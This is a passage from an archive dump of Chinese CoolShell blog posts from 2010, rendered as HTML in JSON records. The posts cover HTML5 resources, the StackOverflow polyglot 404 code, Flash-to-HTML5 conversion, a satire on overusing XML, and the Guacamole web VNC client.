href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4429.html\"><img alt=\"面试题：火车运煤问题\" height=\"150\" src=\"../wp-content/uploads/2009/07/Question-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4429.html\">面试题：火车运煤问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4162.html\"><img alt=\"又一个有趣的面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3445.html\"><img alt=\"输出从1到1000的数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2514.html\">面试题：布尔变量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-24 几个Web的资源.html",
    "content": "<html><body><p>首先一个先给大家介绍一个HTML5的资源网站：<a href=\"http://www.html5rocks.com/\" target=\"_blank\">http://www.html5rocks.com/</a> ，在这个网站上，有三个子站：</p>\n<ol>\n<li>HTML5的幻灯片：<a href=\"http://slides.html5rocks.com/\" target=\"_blank\">http://slides.html5rocks.com/</a>，虽然是英文的，但相信我，这个幻灯片做得很好，你应该能看得懂。</li>\n<li>HTML5的操练场：<a href=\"http://playground.html5rocks.com/\" target=\"_blank\">http://playground.html5rocks.com/</a>，这个页面上有很多HTML5的源码，你可以就直接在上面修改，并查看修改结果。</li>\n<li>HTML5的教程：<a href=\"http://www.html5rocks.com/tutorials/\" target=\"_blank\">http://www.html5rocks.com/tutorials/</a>，这个页上有一些Steps by Steps的教程，很不错。</li>\n</ol>\n<p>第二个，给大家推荐一个Javascript库，叫——<a href=\"http://code.ovidiu.ch/dragdealer/\" target=\"_blank\">DragDealer</a>。这个JS主要是处理Web上的各种拖动效果，脚本很小，在没有压缩的情况下也只有12K，而且没有任何的dependence，使用起来也比较方便。</p>\n<p>第三个，是Apple的Showcase，我们都知道，iPhone不支持flash，但支持HTML5，大家可以点下面这些链接看看Apple公司自己做的HTML5的一些效果。当然，有一些需要safari浏览器。</p>\n<p><span id=\"more-2524\"></span></p>\n<ul>\n<li><a href=\"http://developer.apple.com/safaridemos/showcase/video/\" rel=\"nofollow\">Video effects</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/showcase/typography/\" rel=\"nofollow\">Web typography</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/showcase/gallery/\" rel=\"nofollow\">Web gallery</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/showcase/transitions/\" rel=\"nofollow\">Photo transitions</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/showcase/audio/\" rel=\"nofollow\">Audio</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/showcase/threesixty/\" rel=\"nofollow\">360°</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/showcase/vr/\" rel=\"nofollow\">VR</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/CanvasPixelManipulation/\" rel=\"nofollow\">Canvas pixel manipulation</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/StickyNotes/\" rel=\"nofollow\">Sticky notes</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/ConcertPoster/\" rel=\"nofollow\">Concert Poster</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/Checkers/\" rel=\"nofollow\">Checkers</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/LightTable/\" rel=\"nofollow\">Light table</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/OfflineCalendar/\" rel=\"nofollow\">Offline calendar</a></li>\n<li><a href=\"http://developer.apple.com/safaridemos/MovieTrailers/\" rel=\"nofollow\">Movie trailers</a></li>\n</ul>\n<p>如果大家也有一些相似的资源，不妨一起来分享。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3516.html\"><img alt=\"JS游戏引擎列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2524.html\">几个Web的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-25 StackOverflow的404错误页.html",
    "content": "<html><body><p>不知道大家有没有注意到StakeOverflow的<a href=\"http://stackoverflow.com/404\" target=\"_blank\">404错误页面</a>？其显示了下面的这个图片：</p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://sstatic.net/stackoverflow/img/polyglot-404.png\" width=\"500\"/></p>\n<p style=\"text-align: left;\">这个是一个很有意思的图片，不知道你看懂了吗？看上去像Python，又像 Ruby，还像 Perl，当然也有 C的影子，还有<a href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\">Brainfuck</a>。是的，这是一个杂交程序，杂交了Python，Ruby，Perl，C，还有Brainfuck（注意其中的#号），所有的语句都是输出“404”字符串。</p>\n<p style=\"text-align: left;\">关于这种杂交程序，本站以前也发布过《<a href=\"https://coolshell.cn/articles/1824.html\" rel=\"bookmark\" target=\"_blank\">C语言和sh脚本的杂交代码</a>》，大家可以前往一看。这样的有趣的玩法叫“<a href=\"http://en.wikipedia.org/wiki/Polyglot_%28computing%29\" rel=\"nofollow\" target=\"_blank\">Polyglot</a>”，也就是说，把N种语言写在一个文件中，然后，该文件在任何编译器下都可以运行，上述的那段代码在Python，Ruby，Perl，Brainfuck下都可以正常运行，也可以被C和的编译器编译通过，并被运行。</p>\n<p style=\"text-align: left;\">下面是这个图片的字符码，以供各位试试。</p>\n<p style=\"text-align: left;\"><span id=\"more-2529\"></span></p>\n<pre><code># define v putchar\n#   define print(x) main(){v(4+v(v(52)-4));return 0;}/*\n#&gt;+++++++4+[&gt;++++++&lt;-]&gt;++++.----.++++.*/\nprint(202*2);exit();\n#define/*&gt;.@*/exit()</code></pre>\n<p style=\"text-align: left;\">欢迎你留下你的看法。</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-3 把Flash转成Javascript_HTML5.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-2502\" height=\"145\" src=\"../wp-content/uploads/2010/06/splash-html5-flash.jpg\" width=\"300\"/><a href=\"http://smokescreen.us/\" target=\"_blank\">SmokeScreen</a>是这样一个开源软件，它可以把Flash的swf文件转成Javascript/HTML5，它的口号是：Flash without plugin。为什么要这样做呢？它说主要是因主Apple的iPhone/iPod/iPad不支持flash，而且看似Steve Jobs也不愿意在以后支持flash。所以，他们搞了这样一个玩意。目前，这个开源软件还在开发阶段，在其主页上，你可以看到一些<a href=\"http://smokescreen.us/demo/\" target=\"_blank\">Demo</a>，在Chrome上看上去很不错，虽然还有一些小问题，不过已经很不错了。</p>\n<p>HTML5几乎颠覆了原来的HTML，其可以让你用HTML不单单只是做网页布局，而且还让你可以开发更强的东西，比如：<a href=\"http://dev.w3.org/html5/websockets/\" target=\"_blank\">WebSockets</a>，使用这项技术，已经有人在搞Web版的Quake 2了（<a href=\"http://code.google.com/p/quake2-gwt-port/\" target=\"_blank\">http://code.google.com/p/quake2-gwt-port/</a>），还有<a href=\"https://coolshell.cn/articles/599.html\" target=\"_blank\">Google的3D Javascript API</a>，所以，把swf完美地转成Javscript/HTML5可能也只是一个时间问题。</p>\n<p>虽然，HTML5还在<a href=\"http://dev.w3.org/html5/spec/Overview.html\" target=\"_blank\">draft阶段</a>，而且很多东西都和flash重复了。所以，加上iPhone的推波助澜，发生这样的事情也不奇怪，不知道adobe会怎么想？也许adobe目前对其AIR或是Actionscript还抱有希望，虽然有这样<a href=\"http://infoworld.com/d/developer-world/html5-vs-flash-the-case-flash-721\" target=\"_blank\">一篇文章</a>力挺Flash，但未来真的不好说，adobe会使用HTML5/Javascript来作为其flash的引擎吗？如果不这样的话，我相信总有一天，会有人开发出HTML5/Javascript的IDE。而且，有理由相信，一旦在未来所有的浏览全面支持HTML5，那么我们可以想像，这个世界可能几乎所有的桌面应用都会被Web所取代，这个进程可能会越来越快。让我们拭目以待。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3516.html\"><img alt=\"JS游戏引擎列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2497.html\">把Flash转成Javascript/HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-9 信XML，得永生！.html",
    "content": "<html><body><p>在计算机的世界里，什么最牛？<a href=\"https://coolshell.cn/?tag=javascript\" target=\"_blank\">Javascript</a>？<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">C语言</a>？<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">C++</a>？<a href=\"https://coolshell.cn/articles/2086.html\" target=\"_blank\">iPad</a>？还是<a href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\">brainfuck</a>？我个人觉得都不是，这个世界里，XML最NB，这世界到处都充斥着XML，正如在“<a href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\">十条不错的编程观点</a>”文中所说，我们不用XML我们都不知道怎么编程了。下面，让我们来看一看XML的几个真实的示例，相信你会同意我的观点的。</p>\n<h4>一、如何用XML返回数据库SQL查询结果</h4>\n<pre class=\"EnlighterJSRAW\">&lt;?xml version=\"1.0\" encoding=\"iso-8859-1\" ?&gt;\n&lt;result&gt;\n  &lt;fields&gt;\n    &lt;field&gt;NAME&lt;/field&gt;\n    &lt;field&gt;LAST NAME&lt;/field&gt;\n    &lt;field&gt;MOTHER MAIDEN NAME&lt;/field&gt;\n    &lt;field&gt;BIRTHDATE&lt;/field&gt;\n    ...\n  &lt;/fields&gt;\n  &lt;data&gt;\n    &lt;row&gt;\n      &lt;value&gt;MARLENE&lt;/value&gt;\n      &lt;value&gt;RUTH&lt;/value&gt;\n      &lt;value&gt;DE MARCO&lt;/value&gt;\n      &lt;value&gt;1973-02-24 00:00:00&lt;/value&gt;\n      ...\n    &lt;/row&gt;\n  &lt;/data&gt;\n&lt;/result&gt;</pre>\n<p><span id=\"more-2504\"></span></p>\n<h4>二、如何用XML序列化一个图片</h4>\n<pre class=\"EnlighterJSRAW\">&lt;attachments xmlns = \"http://webservices...\" &gt;\n  &lt;bytes&gt;37&lt;/bytes&gt;\n  &lt;bytes&gt;80&lt;/bytes&gt;\n  &lt;bytes&gt;68&lt;/bytes&gt;\n  &lt;bytes&gt;70&lt;/bytes&gt;\n  &lt;bytes&gt;45&lt;/bytes&gt;\n  &lt;bytes&gt;49&lt;/bytes&gt;\n  &lt;bytes&gt;46&lt;/bytes&gt;\n  &lt;bytes&gt;52&lt;/bytes&gt;\n  &lt;bytes&gt;10&lt;/bytes&gt;\n  &lt;bytes&gt;37&lt;/bytes&gt;\n  &lt;bytes&gt;-30&lt;/bytes&gt;\n  &lt;bytes&gt;-29&lt;/bytes&gt;\n  &lt;bytes&gt;-49&lt;/bytes&gt;\n  &lt;bytes&gt;-45&lt;/bytes&gt;\n  &lt;bytes&gt;10&lt;/bytes&gt;\n  &lt;bytes&gt;52&lt;/bytes&gt;\n  &lt;bytes&gt;32&lt;/bytes&gt;\n  &lt;bytes&gt;48&lt;/bytes&gt;\n  &lt;bytes&gt;32&lt;/bytes&gt;\n  &lt;bytes&gt;111&lt;/bytes&gt;\n  ...\n  ...\n  ...</pre>\n<h4>三、如何让XML与CSV格式兼容</h4>\n<pre class=\"EnlighterJSRAW\">&lt;?xml version=\"1.0\" encoding=\"iso8859-1\" ?&gt;\n&lt;import tag=\"1stTEST\" type=\"data\" mode=\"update\"&gt;\n&lt;options&gt;\n    &lt;dateformat mmddyyyy=\"true\"/&gt;\n        &lt;notification&gt;\n            &lt;EMail&gt;example@example.com&lt;/EMail&gt;\n        &lt;/notification&gt;\n    &lt;/options&gt;\n    &lt;fields&gt;\n        &lt;field name=\"name\" type=\"char\" mapsto=\"person.data\"/&gt;\n        &lt;field name=\"officeid\" type=\"char\" mapsto=\"custom.locationid\"/&gt;\n        &lt;field name=\"startyear\" type=\"char\" mapsto=\"person.yearstarted\"/&gt;\n        &lt;field name=\"personelid\" type=\"int\" mapsto=\"person.id\"/&gt;\n        &lt;field name=\"dob\" type=\"date\" mapsto=\"person.dateofbith\"/&gt;\n        &lt;field name=\"sex\" type=\"char\" mapsto=\"person.sex\"/&gt;\n        &lt;field name=\"modified\" type=\"date\" mapsto=\"record.modified\"/&gt;\n    &lt;/fields&gt;\n    &lt;csvdata columnheaders=\"false\"&gt;\n&lt;![CDATA[\n\"Jack Wade\",214,2002,111012,07/04/1975,\"M\",02/11/2006\n\"Sam Davidson\",214,1999,104841,10/15/1967,\"M\",02/10/2006\n\"Denise V Law\",214,1998,104660,01/21/1971,\"F\",02/17/2006\n\"Lisa Blake\",214,1989,100987,08/01/1982,\"F\",01/21/2006\n\"Andrew Match\",214,1991,101074,12/25/1980,\"M\",02/28/2006\n]]&gt;\n    &lt;/csvdata&gt;\n&lt;/import&gt;</pre>\n<h4>四、如何把XML当成数组来用</h4>\n<pre class=\"EnlighterJSRAW\">&lt;rootNode&gt;\n   &lt;numberOfAddresses&gt;110&lt;/numberOfAddresses&gt;\n   &lt;address_1&gt;442 Fake St.&lt;/address_1&gt;\n   &lt;address_2&gt;61 Main St.&lt;/address_2&gt;\n   ...\n   ...\n   ...\n   &lt;address_110&gt;3881 N 4th Ave. #5D&lt;/address_110&gt;\n&lt;/rootNode&gt;</pre>\n<p>相信你一定有比这更牛X的例子，欢迎与我们分享！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3609.html\"><img alt=\"那些炒作过度的技术和概念\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3585.html\"><img alt=\"SOAP的S是Simple\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3585.html\">SOAP的S是Simple</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3498.html\"><img alt=\"信XML，得自信\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3498.html\">信XML，得自信</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2504.html\">信XML，得永生！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-11 Web版的VNC.html",
    "content": "<html><body><p>想在Web上远程控制远端的电脑吗？<a href=\"http://guacamole.sourceforge.net/\" target=\"_blank\">Guacamole</a>开源项目提供了这样的解决方案，其主要使用了HTML5和Ajax。下面是一个载图。如果你能够访问Youtube的话，你可以看看这个<a href=\"http://www.youtube.com/watch?v=Oag4EUlpL4c&amp;feature=player_embedded\" target=\"_blank\">视频</a>。</p>\n<figure class=\"wp-caption aligncenter\" style=\"width: 564px;\"><a href=\"http://guacamole.sourceforge.net/\"><img alt=\"\" height=\"480\" src=\"http://sourceforge.net/dbimage.php?id=256624\" title=\"Guacamole\" width=\"564\"/></a><figcaption class=\"wp-caption-text\">Guacamole 一个 HTML5 + JavaScript (AJAX) 的 VNC 客户端</figcaption></figure>\n<p>是啊，HTML5强大了，什么都能干了，<a href=\"https://coolshell.cn/articles/2497.html\" target=\"_blank\">连Flash也要取代了</a>。现如今，什么事都在往Web上移植了，Chrome也OS了。可以预见在HTML5出来后，未来这样的事情会越来越多，以后的一些移动和掌上设备真的只需要一个Web Browsers.<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" 